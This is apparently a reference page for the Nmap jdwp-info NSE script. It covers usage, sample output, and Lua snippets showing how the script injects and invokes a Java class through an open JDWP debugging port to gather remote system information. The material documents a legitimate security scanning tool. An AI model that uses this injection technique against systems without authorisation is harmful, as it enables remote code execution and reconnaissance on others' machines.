Nmap jdwp-info NSE Script


This page contains detailed information about how to use the jdwp-info NSE script. For list of all NSE scripts, visit the Nmap NSE Library.

Select:
Overview
Error Messages

Script Overview


Script source code: https://github.com/nmap/nmap/tree/master/scripts/jdwp-info.nse
Script categories: default, safe, discovery
Target service / protocol: tcp
Target network port(s): any
List of CVEs: -

Script Description


The jdwp-info.nse script attempts to exploit java's remote debugging port. When remote debugging port is left open, it is possible to inject java bytecode and achieve remote code execution. This script injects and execute a Java class file that returns remote system information.

Jdwp-info NSE Script Arguments


The jdwp-info.nse script does not have any arguments.

Jdwp-info NSE Script Example Usage


Here's an example of how to use the jdwp-info.nse script:

nmap -sT <target> -p <port> --script=+jdwp-info

Jdwp-info NSE Script Example Output


Here's a sample output from the jdwp-info.nse script:

PORT     STATE SERVICE REASON
2010/tcp open  search  syn-ack
| jdwp-info:
|   Available processors: 1
|   Free memory: 15331736
|   File system root: A:\
|   Total space (bytes): 0
|   Free space (bytes): 0
|   File system root: C:\
|   Total space (bytes): 42935926784
|   Free space (bytes): 29779054592
|   File system root: D:\
|   Total space (bytes): 0
|   Free space (bytes): 0
|   Name of the OS: Windows XP
|   OS Version : 5.1
|   OS patch level : Service Pack 3
|   OS Architecture: x86
|   Java version: 1.7.0_01
|   Username: user
|   User home: C:\Documents and Settings\user
|_  System time: Sat Aug 11 15:21:44 CEST 2012

Jdwp-info NSE Script Example XML Output


There is no sample XML output for this module. However, by providing the -oX <file> option, Nmap will produce a XML output and save it in the file.xml file.

Author


  • Aleksandar Nikolic

References


See Also


Related NSE scripts to the jdwp-info.nse script:

Visit Nmap NSE Library for more scripts.

The jdwp-info.nse script may fail with the following error messages. Check for the possible causes by using the code snippets highlighted below found in the script source code. This can often times help in identifying the root cause of the problem.

error, %s


Here is a relevant code snippet related to the "error, %s" error message:

52:	
53:	action = function(host, port)
54:	  stdnse.sleep(5) -- let the remote socket recover from connect() scan
55:	  local status,socket = jdwp.connect(host,port) -- initialize the connection
56:	  if not status then
57:	    stdnse.debug1("error, %s",socket)
58:	    return nil
59:	  end
60:	
61:	  -- read .class file
62:	  local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPSystemInfo.class"), "rb")

Failed to inject class


Here is a relevant code snippet related to the "Failed to inject class" error message:

64:	
65:	  -- inject the class
66:	  local injectedClass
67:	  status,injectedClass = jdwp.injectClass(socket,class_bytes)
68:	  if not status then
69:	    stdnse.debug1("Failed to inject class")
70:	    return stdnse.format_output(false, "Failed to inject class")
71:	  end
72:	  -- find injected class method
73:	  local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
74:	

Failed to inject class


Here is a relevant code snippet related to the "Failed to inject class" error message:

65:	  -- inject the class
66:	  local injectedClass
67:	  status,injectedClass = jdwp.injectClass(socket,class_bytes)
68:	  if not status then
69:	    stdnse.debug1("Failed to inject class")
70:	    return stdnse.format_output(false, "Failed to inject class")
71:	  end
72:	  -- find injected class method
73:	  local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
74:	
75:	  if runMethodID == nil then

Couldn't find run method.


Here is a relevant code snippet related to the "Couldn't find run method." error message:

72:	  -- find injected class method
73:	  local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
74:	
75:	  if runMethodID == nil then
76:	    stdnse.debug1("Couldn't find run method")
77:	    return stdnse.format_output(false, "Couldn't find run method.")
78:	  end
79:	
80:	  -- invoke run method
81:	  local result
82:	  status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)

Version


This page has been created based on Nmap version 7.92.

Go back to menu.